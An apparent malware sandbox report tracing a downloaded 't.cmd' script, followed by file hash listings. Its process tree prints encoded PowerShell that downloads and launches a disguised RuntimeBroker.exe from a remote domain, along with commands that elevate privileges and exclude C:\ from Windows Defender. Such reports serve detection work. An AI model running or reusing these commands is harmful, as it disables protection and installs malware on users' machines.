C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=4⤵PID:2000
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:6084
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "1⤵PID:6112
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5156
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5160 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin3⤵PID:5348
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5452
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5764
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5596 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\5⤵PID:5848
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=4⤵PID:6448
-
-
-
-
C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\t.cmd1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:6040
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵PID:3272
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4728 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1956 -parentBuildID 20240401114208 -prefsHandle 1872 -prefMapHandle 1864 -prefsLen 28629 -prefMapSize 245025 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd218299-0106-4c0b-9e23-e84686d3edfe} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" gpu3⤵PID:5332
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20240401114208 -prefsHandle 2284 -prefMapHandle 2280 -prefsLen 28629 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e47f5447-fb80-4e6b-8ec6-02ad96a13eaa} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" socket3⤵PID:6432
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3292 -childID 1 -isForBrowser -prefsHandle 3228 -prefMapHandle 2664 -prefsLen 29128 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ece350f-ec2f-4769-8329-ca49d7493267} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:2972
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3648 -childID 2 -isForBrowser -prefsHandle 3640 -prefMapHandle 2496 -prefsLen 34361 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a811626-daf5-4b67-83e5-4b95ec96978f} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:6972
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4292 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4328 -prefMapHandle 4300 -prefsLen 34361 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6472a4ec-8eeb-4d9a-bffe-94147f2d3ce2} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" utility3⤵
- Checks processor information in registry
PID:6552
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5012 -childID 3 -isForBrowser -prefsHandle 5024 -prefMapHandle 5040 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5da37d9-7f60-4366-9b1b-65fb9948857e} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:1348
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5132 -childID 4 -isForBrowser -prefsHandle 5272 -prefMapHandle 5276 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa68481a-c8ad-4c8a-a19c-802abf7e32a1} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:3252
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5440 -childID 5 -isForBrowser -prefsHandle 5448 -prefMapHandle 5452 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e585539f-ba88-4471-b822-c3469483e0f4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:388
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -childID 6 -isForBrowser -prefsHandle 5068 -prefMapHandle 5060 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6c0af1c-eb27-45f2-bc0b-b8aefbc2f0e4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:6592
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5636 -childID 7 -isForBrowser -prefsHandle 5492 -prefMapHandle 5704 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d01e99d1-b6ce-4135-86f2-f4595cb38b09} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:3880
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6184 -childID 8 -isForBrowser -prefsHandle 6220 -prefMapHandle 6216 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e52b28fe-3904-4d08-a319-e7f4d3017401} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab3⤵PID:5776
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa38b6055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2216
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5baf55b95da4a601229647f25dad12878
SHA1abc16954ebfd213733c4493fc1910164d825cac8
SHA256ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
SHA51224f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
Filesize
1KB
MD5049b6e9e5ae574090e37ec4f9cf48812
SHA18a84e30d1c55db18e6310ca185f14b8eeafa28fd
SHA2563c8e60a138d954ca2ad15a5dab6ce592410983e0134b875a74c8041b3a575fd1
SHA512fe854104d8b936c925a1a6b0b19ba3c5a0adebf9aa568cacc225dce64697bc3fd0a97e11cc065b5c48e27f195c22d8b4cc8221e16ac1ab7d8040d286540bb7b1
-
Filesize
64B
MD5b16dc67d8633fb86f9d9dc491097150e
SHA10ea564df2675c5e2a82449530dd070ad855dfcd6
SHA256378c51f20fe67c7ef650d594dca84dd39f8eaeb28876fe783bb3f98394bb494b
SHA512c41852fc8c6728dce8aaa7d9104b39c9e9a6bdcc0354ff5e0d0bff3c055b9aebbb080111c90f6b70db28a1e81b8ca1e3cfec4f8a4f6e59a75188215c21788cdd
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\activity-stream.discovery_stream.json
Filesize28KB
MD50f3895cbb21902630fdae36ec4d6ac89
SHA16fc2f174e06e40e5b8e17c5b78a203917ba9ed30
SHA256fab7b52f1ba3ed02279bc3b882cdda1b36cbc15948f78ec99ad270c4315808ec
SHA5121886d0ca8462f6f9ab485119a7266896c192049060ff684a4e51d54d3abe53fa29b74065cf6ed08736cf2dd82ad17826c04787ea5f5840f8d294f4037d337f3e
-
Filesize
8KB
MD5dff237acafd414dc4068ca36bd30f163
SHA13820597c1fd3cf33c1b2f594f07e48c5f01da7ef
SHA256e8515fbb1627550d0ac08b516c82aceb3d4a9942b2998cb979bb16d1aaf9a100
SHA51285af7664f51a3095059ba57936f2bdda29234e651214a4288ec6539ae6b04ec5c7ccc056ccc71715dfc531e518859afe48793c19a9c41ecfeb87ce448185949b
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\1BD645F9A7410792A97ECB1BFB6D6DEA65390A16
Filesize33KB
MD523ab7a91aa1027b0edda516998b74ac7
SHA176cf6938531ac160b7acdec695d744a50228e53e
SHA256cd633c8536247fa8c85242107316a46d043ae9c746d0da1dfca3cca714e37d39
SHA512a0054c9f1b657cf1e4d066d68b1979c953a18dabb2e5545ef1329890ae881f6c3c7edf83dd683670e991470ae8eac379f13586a059b65816da436fb4cf8c309a
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\254256B27E0C48CF9B80B695F0B3B8CA84610495
Filesize9KB
MD5fd25089c3672f578e0ad6579173fa2f0
SHA1115a171cd6d5f035113f172568278b30272d23b5
SHA256503676d3ac6ee303342b1b3b36dc14e264f3c3d6e9f169ee09777f785307c330
SHA512de211a935d2fd39c96a83d086ebdb525c4ce2b0a497fb7b325f21b34ee4d0284e33e3cb6aa7ef494955092dbddfb692de489f5bcaabf07b811fd7efd4dc2b8ec
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6D89348819C8881868053197CA0754F36784BF5F
Filesize14KB
MD58c8c2461169a10bffe53d2f9e796da74
SHA12131b08d521d43bc75c2af93b576f58c16edd1a4
SHA2562ddf269c5a9e73dfcca4bbf5c4e288a5f1c81cbc19514c2c2c147abe8df3bd27
SHA512b3e82496d975a5873d08d2608ae6368198a20fcd1700cb8055ff808ae8166e7cb24711408c0c1a3ecb38688436299241cf3a9b022997452cec825d2db42996b1
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6E16A10E9554AC173377D0B97DF8A3660B591500
Filesize140KB
MD52c2d701a63febcb4a741c56d2c56722b
SHA1888a7f62e5bf4b9c2f729c5546d4e6b05e31302b
SHA256f25676b77eb8ad3b3fbf1203433c8bf34da587805ab125d47f130c32f66a3c23
SHA512cace3b16ee71b27176dcabd2b300c5dfacd7afa3c472380a1fde6d33d5a7b7558549ebf4c74752debaed4ed32fa0c3e7ffc8c48324a1c0183d3280feded26161
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\791F0A4C58EE59100296C3B4EC96C5B9DA7EDE1D
Filesize76KB
MD5060d21ebe495c287547609de9a94c4d5
SHA11f6e9cee11287ae88dee42c6559a34a768ffbfd0
SHA2567e9517f5d816b558d487c1db1ba7ab023bc66ba3578c02b12a71e44e941ba40c
SHA512cd0ef716f3a293b9b45cd032d6b4077a2f5ac6cd5b5f4db21eebda16ae4f54d1b93670b010a6ab0a0b4db3d550b91ba282485322fabe13e74b67ce426312b0cb
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\7E96FB901C1856DB6FF3BD9DDFB98D1A3F13D9E2
Filesize207KB
MD56494b4c0017fc38b826a3db5410c8259
SHA19e1cad6f8e0d54cb006d1105ed17eb41b237ed7d
SHA256298b0250112850b3a681722a33f9d8c50ccf09eb88fe29b8da0461b0e6e76959
SHA5123aed8ca005a08c3538ab6654b5e59757c9a331531811f3cb63f0a26c78e64cb5c788dcf83f7ee6e3b96fc522fde9654f4555539e4fa36f39da93ba27c154ac05
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\93C498937F9521B4FB2DB21E2CB76F96D6A6E93C
Filesize509KB
MD5b6199163142a3bb437095f5a42df2da5
SHA1f6563f4092065ee54d95250cb12c4bcf19483b3a
SHA25655c9a9ff632d8a8bb57e799f72535fb36e1d7e4a82079fe4f3b34c87d7ef8b21
SHA51232412ead0541e9f84723c38e02147bc0740a941e9f2e365ca3a4ce8b61b1f1121123a06ecf0ff68e7d1b855d2f97319062061f1bab98e0d464b8bd0e9ca4d9e0
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\B46B24A0C4F8C70C798E7240C485699BD434B795
Filesize65KB
MD519b6b39f7c19ae532281a95e2f34164b
SHA1e0c720478821eec7e50b1f90b5964a75a9aeebbb
SHA25670b81c69fc86917f29fbfa5381a7504f59493a37a124cee7468c1050384e69a9
SHA512b7e2e2ebe19e96729d93937474cbf1f7e84d466613adeae1e87014863ec4027e69db0c31d6d3e2d4da56d157d99bb7c5bd34044a07e918c9d79ddd67e566e04a
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\FD07E0E96B39D8F0458BB9D7955741DE046167CC
Filesize152KB
MD50256f06a4c5e09013c48c812b26644bc
SHA1c575f5811b7a5f0fdbc6adc210f41ba2e296a5b4
SHA25604212ba62c04993c499427fa97399c4ef82b7fea3c2b3c32dd723052afa86e79
SHA51235f8ae1ac393dcac11e1a9295e34439fbc3e426a3395116ae9dd67ce8b7f7e7c9eec21f089126c1c9148e06fdd21e523d9702f021aafdde149a7b9b85ff5e03f
-
Filesize
6KB
MD5a3d212e0febb8293e69d845f5eb5ab70
SHA1280997c2e18770eb1b06eb20b43c6d522be19aa5
SHA2560fca02f58f50aca3f43db6ca8734f105859bba60afeff1086bbe905a23026ea5
SHA512f8b52dfde4629b3a4e6c928cfabd1fd112a6ba6fa9c1afaf505a21a76291f2fa3a27ed4492530cc3a4058d5846add35b5dbcf74a91a834f2d7aa7454c1716f26
-
Filesize
10KB
MD5e0367a08ee6dcc7df9f910b646e5d01c
SHA18375da44e4ae38921488fad463f5be9be42815c2
SHA2563ddf1afead7ddaa47964a9505298b25b0aa2d79465fb16669ce7f9c100610e83
SHA512a684f44e7ecd168b239d697afccd9e283bd86446803c79ad655a12f2aa4040e9917ce7d6ade4a03480db921bd149dbc6d4ce4a4bdbb8fbe08a8e6627b279bbc4
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\jumpListCache\9k_dS5ufZUcAy87uFqGbfVkf4f+9rOru87bUInQwfKQ=.ico
Filesize646B
MD5129ba860f753f66b2bb90eaa653abc1a
SHA162f40f1bb05a5bd3ea530391d8f59dd34dc8472c
SHA256381fb3a86f3e9e8a020ba42a5200572bf283459f3ac07f4bdd5b83d257d3278d
SHA512e34610dcf785cfa355df8110fa4617607b90d333ed7eae466cf09bf92e3c84bea8cd9af361c2529f452abd0d6799f9b890b046e2d8b988fdf99d022122a5e8aa
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
Filesize15KB
MD596c542dec016d9ec1ecc4dddfcbaac66
SHA16199f7648bb744efa58acf7b96fee85d938389e4
SHA2567f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
SHA512cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache-child.bin
Filesize462KB
MD524d6c20c2371bb9028a30bf2a6c873cb
SHA10c3e9dd4ae0d70fa241ff9c9104bc8800a8e703c
SHA2565531f258fd34995aad0248d4781fa9182332fdad29406e3dee6d99fc2b7205ee
SHA512a06ec9cc88980c6a9c8f18f65a205599f49eb62071d5a06e0328853de9e888687eb6eba70d7f0e4bc8d403a5cff532d2f93defbeefa3d469986c0466d8e02dc9
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache.bin
Filesize9.2MB
MD5185fc2adab9e07839648c36a5e54332f
SHA150b48906ce39f0928dc5bc70b1c6653761ab946c
SHA2560c0054c7d67b49e7a44d922029a2984147c9e92dbf4b92abbdf4f8692b07d3b0
SHA512cb97e583df6b08034d2cf0a07ecf8b3a05616f4a2467c00d645bf992157a3bb5615091ad6661b14d03e6d15aa57456bf6cca82ffd244f6e91fb6707778fae415
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\urlCache.bin
Filesize3KB
MD5f0bc0772d1e5c2c45fa49dd20f37f49d
SHA130ac599faf9ed692d34ec28d087b6f28dbb7a201
SHA25664d95ec8235cdc8f12481250a6cc59e3d5b929100d4afb8ad1bd2690a1522c37
SHA512fa4ce4ca41d3c600e3742493df23ec27de744f7dad6b1084677a4f04e6e4555cb211070c2ac4f17fce9ce119242ac0b86921f88ad2a40a82e6fc2b4102cd6269
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\webext.sc.lz4
Filesize107KB
MD5126798c0032616f45514340eaa10b994
SHA128ca874474684703dbb643a444d7417c9f80de8f
SHA2561dad14abc4eeedec39933cd0b58782f4963d8490f3447dfc2c1ba9bfab765fe9
SHA512a8c7eebbf3d1aa828475b5d4ce37de8abe257d5195f9f043ea82e24f957f9d3d74649377c35cb11b1f5a9f2b23fb66bd864e3fce627a8c8aaae62b2a1d426712
-
Filesize
1KB
MD5104cc53cf2a78348c132b27766627399
SHA16c1c7eff5c6f5520473f8c861c9408b0cd07d7cf
SHA256995acc6b43d40f9f8236dfc7b581a8afa2f06c538222d329fef9e6f0b6f4bd18
SHA512290406d75bdec56531723c245fe55f632415abd4022fb9aebd6a332d0eb33cbd9dec241076534a2265eeacc617afa058cc5c9b170859dc3263042af1e30d1e0b
-
Filesize
3.1MB
MD5b94af11cca65c557d23559e978a49d18
SHA10c3436d0c5df8e2e39bf4869bbe4413ca8d594b7
SHA256f6a0a782d574de811fe66ecf6416c69b486f9ca20faf96cfc863a00063306338
SHA512c1254360b2382957f043b8edcf36b28f13a93d0860dc9609d9b46eded81bc004e4149113e9eaad8b4d2cc18164942588bd4e97ecd8fce4f9afd8e537bc668b16
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
479KB
MD509372174e83dbbf696ee732fd2e875bb
SHA1ba360186ba650a769f9303f48b7200fb5eaccee1
SHA256c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f
SHA512b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1
-
Filesize
13.8MB
MD50a8747a2ac9ac08ae9508f36c6d75692
SHA1b287a96fd6cc12433adb42193dfe06111c38eaf0
SHA25632d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03
SHA51259521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\40371339ad31a7e6.customDestinations-ms
Filesize5KB
MD5007ba9626267d53b556f25583cc7fae3
SHA1c62c5a9c36fe41436a6ebeb3997a9f779109b2c8
SHA2565b82d509ce6ecfbf546669af242af869cf6e64d7328cd723fb0811c76f700479
SHA512843739d6bda3c97cbff1b9ad4760cf864f76c20adf6e992a9c98106951caa176add5282a2aca7c2f93443ae8b003f1e0b93396ea135e82b8084a41f38c5a7a7c
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Filesize24KB
MD5b59aed74a3609c4f53e52f909b94a8ff
SHA1a3a64f49ccec6065f4fde54797dd4b5cae23d07b
SHA25685e145da95ca937f90066b5544d36654e5cff6d5f4faecfbfa6da82cc48cf96b
SHA512f614066f25836445da5f71c2ca9d3322e4d02ea3b66ce8639ed32b3b687fb0ab9acb642a751ef76d1f2b559117c6827a0d029ab60ffa89a095480fe68c08ac13
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin
Filesize6KB
MD55d1b85651d024a65562174d7754d3b7d
SHA1b329bf002ea2ed5b42f7c2904a37ffacfbb5f30b
SHA2560e5f34da1a56c8b6a126e8609bdf70f4bc895a090f94ddb073bfb218b642af05
SHA5121b120715ee4c7c7100f6b67b8ec9096d049448dc842584a5d80e1d9e59ae44df3cf81ba4afe10b47de3d8f241946093a51c244463074eff8685844615e4cda76
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin
Filesize51KB
MD5d7a6595ef25a9089b2577543281e47d7
SHA1d9d2493f0ae8e67061c6cfca62e828c5b2a473f2
SHA256661a46f82dbbac450e230aa17abdf230d64af640f03fcbdfbfa7010ff8066f4b
SHA512dc129d38a2a11886cced962f96fb5f3f72ac886788fbdcc83ec57e7574ea1fc6d2656624f838583bfb92dc44c1ac95f01676da5d488f4b87300447196dd71e50
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin
Filesize6KB
MD57443b0da1344748628ab636b5f4f9f4e
SHA1f4057d5adff5fbf439d2c6be162a5f5e69e7c9cc
SHA25622263726609a0c719bcd9193757f8bdcd338fd2afa4d37f226647ed167f3053c
SHA512bc54506b177d0c9c2d5b749f65207fe7e0b54b5a37d37d7f2d97cda6bf5a02a5e3c34842d608c79aef9cb48d9d9bcadbf2227f9af59f99b0149a472274b194a7
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6ir3v68x.default-release\AlternateServices.bin
Filesize10KB
MD5f66a34a251867fe1476fd75aba7056d3
SHA159eb1682a16820ca3a45151ea8f905ed7c8352e8
SHA2563b96e698a60d0b7651d05a046548473d04120e07e2737e7b4f5ed10ac851d8ac
